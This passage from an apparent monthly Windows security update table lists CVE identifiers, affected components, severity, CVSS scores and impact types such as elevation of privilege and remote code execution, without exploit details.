Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  